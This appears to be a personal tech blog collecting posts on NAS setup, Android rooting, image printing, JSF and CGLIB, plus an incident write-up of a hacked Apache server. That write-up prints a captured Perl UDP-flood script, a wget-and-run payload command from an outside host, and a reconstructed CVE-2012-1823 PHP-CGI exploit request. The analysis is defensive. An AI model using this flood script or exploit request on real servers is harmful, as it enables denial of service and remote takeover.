Setting up MySQL server on Lenovo ix2-dl NAS

Tags

,

This article will explain how to install a MySQL server on the Lenovo ix2-dl NAS. It will also demonstrate how to customize the boot process.

This MySQL server will be set up as the back-end for my MediaWiki installation running on a different server.

Enable SSH Access

https://n1njahacks.wordpress.com/2014/02/25/ssh-access-to-lenovo-ix2-dl-nas/

Basic Config

Add the following to /etc/profile:

alias ls='ls --color'

# Set the locale properly
export LANG=en_US.utf8
export LANGUAGE=en_US:en

The locale settings were necessary to properly display Russian file names from a Terminal.

Custom Boot Scripts

One of the difficulties with this box is that it does not respect the startup scripts in /etc/rc* directories, even though they are there. Instead boot processes are managed by appmd, which uses an XML config file found here: /usr/local/cfg/sohoProcs.xml. Unfortunately, you can’t modify that file directly.

The /usr directory is actually part of the /boot/images/apps image mounted on /mnt/apps, so if we want to add anything to the startup config, we must modify the image itself.

Here are some scripts to help with that:

/opt/editconfig.sh:

#!/bin/sh
# edit the bootup config of the ix2
# inspired by http://www.chrispont.co.uk/2010/10/allow-startup-daemons-on-storcenter-ix2-200-nas/
# modified from http://techmonks.net/installing-transmission-and-dnsmasq-on-a-nas/
mknod -m0660 /dev/loop3 b 7 3
chown root.disk /dev/loop3
mkdir /tmp/apps
mount -o loop /boot/images/apps /tmp/apps
vi /tmp/apps/usr/local/cfg/sohoProcs.xml
sleep 1
umount /tmp/apps
rm /dev/loop3

/opt/init-opt.sh:

#!/bin/sh
# modified from http://techmonks.net/installing-transmission-and-dnsmasq-on-a-nas/

rm /opt/init-opt.log
echo "Last bootup:" >> /opt/init-opt.log
date >> /opt/init-opt.log
#Add your command below
/etc/init.d/rc.local start >> /opt/init-opt.log
while true; do
        sleep 1d
done

After creating these scripts, you must run /opt/editconfig.sh and make modifications to the opened file. At the end of <Group Level="2"> section:

<Group Level="2">

    ..... Other Program defs .....

    <Program Name="CustomInitScript" Path="sh">
        <Args>/opt/init-opt.sh</Args>
        <SysOption Restart="-1"/>
    </Program>

</Group>

After these modifications, you can place all your startup scripts into /etc/rc.local, which will be executed after you reboot.

svcd Performance Tweak

svcd is some sort of indexing service that tends to take up a lot of CPU. We can renice it though.

Since we now have access to sohoProcs.xml (see previous section), we can set the Nice level in there.

Run /opt/editconfig.sh, find the entry for svcd and add the Nice attribute:

<Program Disable="0" Name="Svcd" Path="/usr/local/svcd/svcd">
        <SysOption MaxMem="96M" Nice="19" Restart="-1"/>
</Program>

Connecting to package (ipkg) repositories

LifeLine Linux distro in this NAS is based on NSLU2-Linux, so we can make use of their resources.

Open /etc/ipkg.conf and add the following:

src cross http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/cross/unstable
src native http://ipkg.nslu2-linux.org/feeds/optware/cs08q1armel/native/unstable
root@ix2-dl:/# ipkg update

MySQL Installation

root@ix2-dl:/# ipkg install mysql5

This will install MySQL and dependencies into /opt (aka /mnt/system/opt), but the permissions will be wrong so the server won’t start after installation. You need to follow these steps:

  • Add mysql user through the Web Console
  • Fix permissions
root@ix2-dl:/# chmod o+w /opt/var
root@ix2-dl:/# chown -R mysql /opt/mysql-test
root@ix2-dl:/# chown -R mysql /opt/var/mysql
  • In /etc/passwd change home directory for ‘mysql’ user to /opt/var/mysql
  • Setup environment
root@ix2-dl:/# su - mysql
mysql@ix2-dl:/# vi .bashrc

Add the following:

export PATH=$PATH:/opt/bin
  • Start MySQL. As root:
root@ix2-dl:/# /opt/share/mysql/mysql.server start
Starting MySQL..
  • Configure the server. Follow the wizard and change the root password.
root@ix2-dl:/# su - mysql
mysql@ix2-dl:/# /opt/bin/mysql_secure_installation
  • Log in:
root@ix2-dl:/# su - mysql
mysql@ix2-dl:/# mysql -u root -p
Enter password: *****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 5.0.88 optware distribution 5.0.88-1

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema | 
| lib                | 
| log                | 
| mysql              | 
| test               | 
+--------------------+
5 rows in set (0.00 sec)
  • To start the server on reboot, open /etc/rc.local and add:
# Start MySQL server
/opt/share/mysql/mysql.server start

Note: This last step will only work if you followed instruction in the “Custom Boot Scripts” section.

You are done!

Importing the Wiki Database

mysql@ix2-dl:/# mysql -u root -p
mysql> create database wikidb;
mysql> CREATE USER 'wiki'@'%' IDENTIFIED BY '********';
mysql> GRANT ALL PRIVILEGES ON wikidb.* TO 'wiki'@'%';
mysql@ix2-dl:/# mysql -u wiki -p wikidb < wikidb-db-backup.sql

Daily Backups of the Wiki Database

The wiki database is backed up and versioned with RCS daily. Here is the setup:

  • Install RCS:
root@ix2-dl:/# ipkg install rcs
  • Backup script (/opt/var/mysql/mysqlbackup.cron.sh):
#!/bin/bash

# DATABASE DEFINITION SECTION
# Database specified with a "dbname user password" triple
databases=("wikidb wiki ******")
# END DATABASE DEFINITION SECTION

WD="/nfs/backups/wiki"
MYSQLDUMP="/opt/bin/mysqldump"
CI="/opt/bin/ci"
AWK="/usr/bin/awk"

numdb=${#databases[@]}

cd $WD

for database in "${databases[@]}"; do
 db=$(echo $database   | $AWK '{print $1}')
 user=$(echo $database | $AWK '{print $2}')
 pass=$(echo $database | $AWK '{print $3}')

 filename=${db}-db-backup.sql

 echo "Backing up database $db..."
 $MYSQLDUMP -u $user --password=$pass $db > $filename 2> MY_SQL_DUMP_ERROR_$db
 if [[ $? -ne 0 ]] ; then
   # The backup has failed. Send a notification e-mail
   #
   echo "WIKI BACKUP FAILURE!"
 else
   # Success. Delete the error file if any and check in the new backup into RCS
   #
   echo "Creating an RCS version for $db..."
   rm MY_SQL_DUMP_ERROR_$db 2>&1 > /dev/null
   export TMPDIR=$WD
   echo . | $CI -l -d"`date`" $filename
 fi

done

Cron Job

/etc/cron.daily/mysql_backup:

#!/bin/sh
/opt/var/mysql/mysqlbackup.cron.sh

Credits

http://vincesoft.blogspot.ca/2012/01/how-to-run-program-at-boot-on-iomega.html
http://iomega.nas-central.org/wiki/Hacking_(Home_Media_CE)
http://www.nslu2-linux.org/
http://techmonks.net/installing-transmission-and-dnsmasq-on-a-nas/

SSH access to Lenovo ix2-dl NAS

I recently purchased the Lenovo ix2-dl NAS, b/c it was time to upgrade my storage capacity and I did not want to deal with my current setup anymore. My datahost box runs LVM on top of software RAID 1, on Slackware 10.2, with 5 drives in the machine :).

I was attracted to the Lenovo ix2-dl, b/c it is small, quiet, provides RAID 1 and costs $90 at Tigerdirect, which is significantly cheaper than any other NAS I came across.

This NAS box has a 1.5GHz ARM Feroceon 88FR131 processor, 256MB of RAM and runs LifeLine Linux, which is a distro developed by Iomega’s parent company EMC, specifically to power their NAS boxes.

The only concern I immediately had with the ix2-dl, was the lack of SSH access to the box. A Linux box w/o SSH access is extremely irritating, so I decided to research this further.

Enabling SSH Access

Turns out that there is a hidden Diagnostics page available in the web interface at /manage/diagnostics.html . This page allows the user to set an SSH port and root password. The catch is that the selected password is prefixed by the word ‘soho‘. So if you select ‘GOD’ as your password on the page, the actual password is ‘sohoGOD‘. You can change the password to whatever you want with the ‘passwd’ command.

Once you log in, you can work with the drives, software raid, Apache, NFS, etc. just like you are used to on any Linux box.

Credits

Most of the information was obtained from here: https://blog.liftsecurity.io/jon-lamendola

 

Step By Step Guide to Rooting your Galaxy S4 (SGH-I337M) from Ubuntu

Tags

, , ,

This guide was written by experimenting with the Canadian (Telus) version of Galaxy S4. If you have a different phone, this guide can still be useful for understanding the principles behind the process – you’ll just need to make sure that you get the right bootloader image for your phone.

I am assuming that you are using a Linux computer in this guide.

Before We Begin

The strangest and most stressful thing that happened to me during this process is when the key combination for booting the phone into Recovery mode stopped working. Normally we boot into Recovery by turning off the phone and holding down Vol Up & Home & Power buttons. This worked fine for a while, and then suddenly stopped working. If this happens to you check out the Troubleshooting section below for a solution.

Install ClockworkMod (CWM) Recovery Bootloader

  • Install firmware flash utility that speaks the Odin protocol (Samsung’s proprietary firmware flash software)
	sudo add-apt-repository ppa:modycz/heimdall
	sudo apt-get update
	sudo apt-get install heimdall
  • Power off the Galaxy S4 and connect the USB adapter to the computer but not to the Galaxy S4.
  • Now boot the Galaxy S4 into download mode by holding down Vol Down & Home & Power. Accept the disclaimer. After this insert the USB cable into the device. Your phone is now ready to flash a new Recovery bootloader via the Odin protocol.
  • On the computer, open a terminal and run the following command from the Heimdall directory:
    sudo heimdall flash --RECOVERY recovery-clockwork-6.0.3.2-jfltecan.img --no-reboot

    A blue transfer bar will appear on the device showing the recovery image being transferred.

  • Turn off the phone
  • Boot the phone again by holding Vol Up & Home & Power. If you find that your phone just keeps rebooting instead of going into CWM Recovery, please read the Troubleshooting section for a solution.
  • CWM Recovery will present you with a text menu that you can navigate with the Volume keys, and select with Power key. Select the first option: “Reboot System Now”
  • The Galaxy S4 now has ClockworkMod Recovery installed!

Backup the Stock Image

This is a good time to make a backup of your entire phone, just in case you need to get back to the stock configuration later. DO NOT SKIP THIS STEP!

  • Reboot back into CWM Recovery by holding Vol Up & Home & Power during startup.
  • Go to “backup and restore” -> “backup to /sdcard”. This will take a while, so just wait. At the end of this process, your backup will be stored in “/mnt/shell/emulated/clockworkmod/backup/” on the phone’s file system. You can’t access that from your phone directly yet, but you can use the “adb pull” (https://developer.android.com/tools/help/adb.html) to transfer it to your PC though. You’ll also be able to do it easily after we finish rooting the phone, so no need to do that now.

Rooting The Phone

NOTE: I had a lot of trouble with this ROM as of November 29th, 2013. The author told me that he’ll fix it, so it is likely that you will not experience any problems now. However, if you find that you follow the instructions, yet your phone is not getting rooted, see the Troubleshooting section for a solution.

  • Copy “superuser.zip” into the root of your phone’s internal file system (by that I mean what the phone shows you as a root – in reality the root directory you see from the phone is actually mounted here: /mnt/shell/emulated/0). There are many ways to do this, such as mounting the phone over USB, over the network, using adb, etc. There are many tutorials out there that show you how to copy files from your computer to your phone.
  • Shut down again. Boot into CWM Recovery by holding Vol Up & Home & Power.
  • Navigate to “install zip from sdcard” -> “choose zip from sdcard” -> “0/”. You will find your ‘superuser.zip‘ here. Select it and confirm.
  • You’ll get some text at the bottom and a Success message. Click ‘Back’ and select ‘Reboot’
  • Your phone is now rooted! See next section for making sure that everything worked correctly.

Confirming Correct Operation

  • You should have a new app installed called Superuser. This is where you can configure how other apps get access to root, as well as see the log of apps that requested root.
  • Use the app to make sure that root access is granted. If it isn’t see the Troubleshooting section.

Install ROM Manager

ROM Manager is an extremely useful app that makes a lot of the operations we just did possible from a single click. It will also manage your backups, keep your CWM Recovery install up to date, and keep track of new ROMs, so you should install it:
https://play.google.com/store/apps/details?id=com.koushikdutta.rommanager

Remember that backup we took in the beginning from CWM Recovery? Go to “Manage and Restore Backups”, and you’ll see your backup in the list. Select “Download Backups”, and you’ll be offered a download link to transfer your backup to your PC for safe keeping.

Troubleshooting

Recovery Boot Loop

Many S4 owners have a problem with their phones going into an endless loop of restarts when trying to boot into Recovery Mode.

Do the following: when your phone is off, press VOLUME UP button and POWER BUTTON at the same time. Keep holding it until the actual recover options appear on your phone screen. Do not let go when you see that little message show up on upper left screen. Keep holding it until you actually see the recovery options on your screen. Now, if you see that your phone is going into another restart without options appearing, just keep holding the VOLUME UP button and hold it until you see the recovery options show up on your screen.

superuser ROM failing to root the phone

I had this problem after downloading http://download.clockworkmod.com/superuser/superuser.zip on November 29th, 2013. Although it is very likely fixed now, the fact that you are reading this section suggests otherwise, so let’s give this a try.

First, let’s take a look at exactly what changes superuser.zip ROM makes to the file system in order to root the phone:

  1. Replacing the ‘su‘ binary with another that has some added functionality, and that has the setuid bit [http://en.wikipedia.org/wiki/Setuid] set on it. This is what allows the apps to elevate privileges.
  2. An Android app that acts as a front end to ‘su‘, and keeps track of which apps are allowed to use it, and which ones are not.

It appears that on Galaxy S4 (Canadian) with Android 4.2+ installed, there have been some kernel changes that make the seteuid system call fail like this:

 seteuid (root) failed with 13: Permission denied

You can see this message if you use adb logcat while trying to elevate privileges.

As a result of this error, the phone does not get rooted. This problem is easy to fix, but it requires some code changes. There is some detailed info about this problem and the fix for it here: https://github.com/koush/Superuser/issues/196

The problem for me was that the official version of superuser.zip has not yet been updated with the fix for some reason. In any case, I have taken the patch from GitHub and updated the ROM. You can get the fixed version here: http://vace.homelinux.com/unprotected/superuser/fixed-superuser.zip

Follow exactly the same steps with this file as described above and everything should work out.

 

I just got PWNED by “PHP 5.x Remote Code Execution Exploit”

Today my home server dropped off the net, thus cutting me off from all of my tunnels and email services for the entire day. Upon returning home, I found that the reason for this outage was a UDP flood ping that was originating from my server, and consuming 100% of my CPU and 100% of my bandwidth. Further inspection showed that my Apache 2.2 server running on Lucid Lynx was hacked. In this post I’ll document the steps I took in order to figure out and fix the problem.

Initial Observations

After logging in to my server I ran the top command and found that a perl process was taking up all of the CPU.

root@gatekeeper:~# ps -axf
19914 ?        S      0:00 sh -c cd /tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500
19918 ?        R    506:21  \_ perl u 154.35.175.201 6660 500
19916 ?        S      0:00 sh -c cd /tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500
19922 ?        R    506:12  \_ perl u 154.35.175.201 6660 500

These processes were owned by www-data user, which is the Apache user on Ubuntu.

Sure enough, the mysterious ‘u’ file being executed by perl was there:

root@gatekeeper:~# cd /tmp; ls -l
-rw-r--r-- 1 www-data www-data   1089 2013-12-04 11:53 u
-rw-r--r-- 1 www-data www-data   1089 2013-12-04 11:53 u.1

The contents of the file:

root@gatekeeper:~#  cat u
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0   <time>\n";
 printf "if arg1/2 =0, randports/continous packets.\n";l
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

This script initiates a UDP flood ping of the provided address. In this case 154.35.175.201:6660. Note that the $time parameter is not used, which is why this turns into an all-destroying flood ping.
The malicious script was downloaded from here: http://146.185.162.85/…/. Note that this directory contains a whole bunch of interesting malicious code, including an IrcBot and a PayPal phishing page.

So, definitely h4x0red. But how?!?!?

Attack Analysis

  • Ran last -i, to see if there were any logins besides the ones I expect to be there. Nope.
  • Checked the timestamp and contents on /etc/passwd. Nope.
  • Checked for suspicious entries in /var/log/syslog and /var/log/auth.log. Nope.
  • Downloaded ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz to scan for any known root kits. Nope.

It appears that Apache2 was the attack vector, especially since the permissions on the downloaded files belong to www-data user.

Check our CGI configuration:

root@gatekeeper:~# vi /etc/apache2/sites-enabled/000-default
      ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
      <Directory "/usr/lib/cgi-bin">
                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
</Directory>

Check what we have in /usr/lib/cgi-bin:

root@gatekeeper:~# ls -l /usr/lib/cgi-bin
lrwxrwxrwx 1 root root      29 2012-04-22 18:57 php -> /etc/alternatives/php-cgi-bin
-rwxr-xr-x 1 root root 7836616 2013-09-04 14:22 php5

Check the logs around 2013-12-04 11:53 timestamp, since this is when the ‘u’ file was downloaded into /tmp. I could not find an exact match in /var/log/apache2/access.log, but there was a lot of interesting stuff in there:

46.16.169.53 - - [01/Dec/2013:11:38:50 -0600] "POST //%63%67%69%2D
%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63
%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%
66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3
D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73
%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%
65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%7
0%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65
%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%
72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%7
4%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%6
9%6E%70%75%74+%2D%6E HTTP/1.1" 504 508 "-" "-"

WTF is that?! Writing a quick Ruby script to decode:

#!/usr/bin/ruby

input="%63%67%69%2D%62%69%6E/%70%68%70%35?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E"

input.split('%').each {|c|
	if ( c.length == 2 )
		print c.hex.chr
	elsif (c.length == 3)
		print "#{c[0..1].hex.chr}#{c[2].chr}"
	end
}

We get the following:

//cgi-bin/php5?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d
+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n

Taking a look at /var/log/apache2/error.log we see scary stuff like this:

[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] --2013-12-04 11:57:22--  http://146.185.162.85/.../u
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Connecting to 146.185.162.85:80...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] connected.
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] HTTP request sent, awaiting response...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] connected.
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] HTTP request sent, awaiting response...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 200 OK
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Length: 1089 (1.1K)
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Saving to: `u'
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]      0K
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] .
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 100% 26.8M=0s
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 2013-12-04 11:57:22 (26.8 MB/s) - `u' saved [1089/1089]

ok, so whatever this does, it obviously somehow exploits the php5 executable. We are not supposed to be able to run php5 directly (b/c php5 binary is compiled with force-cgi-redirect enabled: http://fi2.php.net/security.cgi-bin), yet this somehow bypasses that security.

And here’s the explanation of how the exploit works:

On Debian and Ubuntu the vulnerability is present in the default install
of the php5-cgi package. When the php5-cgi package is installed on Debian and
Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
/cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
the binary because this binary has a security check enabled when installed with
Apache http server and this security check is circumvented by the exploit.
When accessing the php-cgi binary the security check will block the request and
will not execute the binary.
In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
check is done when the php.ini configuration setting cgi.force_redirect is set
and the php.ini configuration setting cgi.redirect_status_env is set to no.
This makes it possible to execute the binary bypassing the Security check by
setting these two php.ini settings.
Prior to this code for the Security check getopt is called and it is possible
to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
-d switch. If both values are set to zero and the request is sent to the server
php-cgi gets fully executed and we can use the payload in the POST data field
to execute arbitrary php and therefore we can execute programs on the system.
apache-magika.c is an exploit that does exactly the prior described. It does
support SSL.
/* Affected and tested versions
PHP 5.3.10
PHP 5.3.8-1
PHP 5.3.6-13
PHP 5.3.3
PHP 5.2.17
PHP 5.2.11
PHP 5.2.6-3
PHP 5.2.6+lenny16 with Suhosin-Patch
Affected versions
PHP prior to 5.3.12
PHP prior to 5.4.2
Unaffected versions
PHP 4 - getopt parser unexploitable
PHP 5.3.12 and up
PHP 5.4.2 and up
Unaffected versions are patched by CVE-2012-1823.

This explanation was obtained from: http://www.exploit-db.com/exploits/29290/

So with this information, I gather that the full exploit looked something like this:

POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: vace.homelinux.com
Connection: keep-alive
Content-Length: 78
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22
Content-Type: application/x-www-form-urlencoded

<? system("/tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500"); ?>

I was not able to recreate the exploit with this exact request, so there must be some additional details required to make it work, but I am fairly certain that this is the general mechanism that was used to carry out the attack.

Securing The Server

Lucid is a fairly old distro, so I did not want to deal with upgrading the php package. I am sure it would be dependency hell. Instead, I followed the advice given on this thread (http://www.howtoforge.com/forums/showthread.php?t=63740&page=3) and installed mod_security.

There are good instructions on how to do that found here: http://www.linuxlog.org/?p=135

One thing to note is that if you are using Lucid, you will not be able to install the latest ModSecurity rules (v2.7.5), so don’t download those. Instead use the link provided in the article.

Here’s my /etc/apache2/conf.d/modsecurity:

<ifmodule mod_security2.c>
  SecRuleEngine On
  SecDebugLog /var/log/apache2/modsecurity.log
  SecDebugLogLevel 3
  SecAuditLogParts ABIJDEFHZ

  # For testing: http://vace.homelinux.com/?test=MY_UNIQUE_TEST_STRING
  SecRule ARGS "MY_UNIQUE_TEST_STRING"\
  "phase:1,log,deny,status:503"

  # These are too noisy with warnings, so turning them off
  SecRuleRemoveById 960032
  SecRuleRemoveById 960034

  Include /etc/apache2/mod_security_rules/*.conf
</ifmodule>

Conclusion

Since I was not able to recreate the exploit, I am not 100% sure if this solution worked. I’ll keep my eye on the logs over the following weeks and I’ll post here again if there are any unexpected developments.

Printing Many Images of Fixed or Variable Size in Linux

Tags

,

I thought I’d share some things I learned recently after having to format and print hundreds of images automatically. I’ll discuss printing images of the same size, as well as printing images of different sizes.

The most difficult step in the process is to format the image on the page. This is very easy to do manually by using OpenOffice, for example, but how do you do it from command line to hundreds of images?

Images of Fixed Size

  • Open Inkscape and import a test raster image. It doesn’t matter what image you choose, as long as its dimensions match the dimensions of your target images.  Position the image on the page as you desire.
  • Save the image as drawing.svg.
  • In the directory where you saved your SVG, create a subdirectory and place all your target images there.
  • In the same subdirectory create a script called generate_pdf.sh:
#!/bin/bash

rm *.svg
rm *.pdf

DIR=`pwd`

for i in `find . -iname "*jpg" -o -iname "*png"`; do
  SVG_NAME=${i%%.jpg}.svg
  PDF_NAME=${i%%.jpg}.pdf
  IMG_NAME=${i#./}
  cp ../drawing.svg $SVG_NAME
  sed -i "s,IMAGE_NAME,$DIR/$IMG_NAME," $SVG_NAME

  inkscape --without-gui --export-pdf=$PDF_NAME $SVG_NAME
done
  • Run the script, and it will generate an SVG and a PDF file for each image.
  • Print all PDF files:
$ IFS=$'\n'; for i in `find . -iname "*pdf"`; do echo $i; lpr -P printer_name $i; done

You can find out the name of the printer by running this command:

$ lpstat -d -p

Images of Variable Size

The easiest way I found is to use ImageMagic.

$ convert -rotate "90>" -page Letter *.jpg test.pdf

Then open test.pdf and print all pages. Be sure to check each page before printing, since you may need to print a couple of images manually.

jQuery Conflicts or Re-routing JSF resource requests with RichFaces Resource Mapping

If you are using RichFaces and you ever need to resolve a resource conflict (like a conflicting version of jQuery, for example), you need to read this article:
http://rik-ansikter.blogspot.ca/2012/02/re-routing-jsf-resource-requests-with.html

There is even an example implementation provided:
https://github.com/camra/Richfaces-Primefaces-Problem

Ajax, JSF 2 and ClientBehaviors

I consider myself to have a fairly expert understanding of JSF-related technologies, so it is becoming rare that I come across articles that teach me something new about the subject. However, I have come across just such a pair of articles, so I thought I’d share. These provide an excellent overview of the subjects and it is thorough enough that I learned some new things that I never came across before.

“Ajax and JSF, Joined At Last” by Jay Balunas

“Introducing JSF 2 Client Behaviors” by Dan Allen

Using CGLIB proxies to create efficient wrappers

Tags

,

I was recently faced with a problem that encouraged me to look into CGLIB proxies. What I needed to do was to slightly modify the way a RichFaces component rendered a partial response (an AJAX response). The change was very small, yet the only way to do it with traditional methods would be to override a RichFaces class, copy-and-paste a large method and make the necessary changes there.

I did not want to go in that direction, b/c that would make my code very sensitive to changes in future versions of RichFaces. Instead I decided to explore the possibility of somehow intercepting a call to PartialResponseWriter.startUpdate() method, b/c that was the behaviour I needed to change.

The obvious strategy here would be to create a wrapper around the PartialResponseWriter and make the necessary changes in the method I need. The problem with this approach is that my wrapper would have to implement about 20 methods, all of which except for one would be useless pass-throughs. That’s a lot of boilerplate there. A Lazy Programmer such as myself would never actually spend the time writing all that useless code. So, I decided to see if I could achieve my goal by utilizing CGLIB proxies.

CGLIB

CGLIB is a powerful and performant bytecode generation library, that relies on the low-level ASM framework (http://asm.ow2.org/). If you ever used Spring AOP or Hibernate, than you are probably used to seeing CGLIB proxied objects all the time.

CGLIB codebase is small, but not well documented, so it took me some time to figure out how to create some simple proxies.

Creating a Simple Proxy

Unlike the JDK dynamic proxy, we cannot proxy an existing object. The target object must be created by the CGLIB library, so all we get to do is specify the superclass for our proxy, as well as which constructor to use, if any.

The core of the CGLIB proxying API is the net.sf.cglib.proxy.Enhancer class. It has a lot of helper method for different situations. You can easily explore these options by looking at the source code for that class. In my example here I’ll show how to create a proxy for PartialResponseWriter, which has no default constructor:

private PartialResponseWriter proxyResponseWriter(PartialResponseWriter origWriter) {
	Enhancer enhancer = new Enhancer();
	enhancer.setSuperclass(PartialResponseWriter.class);
	enhancer.setCallback(new ResponseWriterInterceptor(origWriter));
		
	PartialResponseWriter proxy = (PartialResponseWriter) enhancer.create(
			new Class[] {ResponseWriter.class}, 
			new Object[] {origWriter.getWrapped()});
	
	return proxy;
}

private class ResponseWriterInterceptor implements MethodInterceptor {
	private PartialResponseWriter originalWriter;
	public ResponseWriterInterceptor(PartialResponseWriter originalWriter) {
		this.originalWriter = originalWriter;
	}

	public Object intercept(Object object, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
		if ( "startUpdate".equals(method.getName()) ) {
			String clientId = args[0].toString();
			
			if ( FixedUICollapsibleSubTable.this.getClientId().equals(clientId) ) { // Make sure the update is for our table
				clientId += ":c";
				return method.invoke(originalWriter, new Object[] {clientId});
			}
		}

		return method.invoke(originalWriter, args);
	}
}


This code creates a new instance of PartialResponseWriter and provides us with a way to examine and/or modify all calls to it via the provided MethodInterceptor. In this case I made the interceptor act as a pass-through for all methods, except startUpdate, which does additional processing before calling the proxied method.

The Final Hack

The final implementation of this hack was a bit more complex than proxying just the PartialResponseWriter, since RichFaces did not make it easy to “install” our proxied version of the ResponseWriter into the PartialViewContext, nevertheless this strategy worked out very well for me.

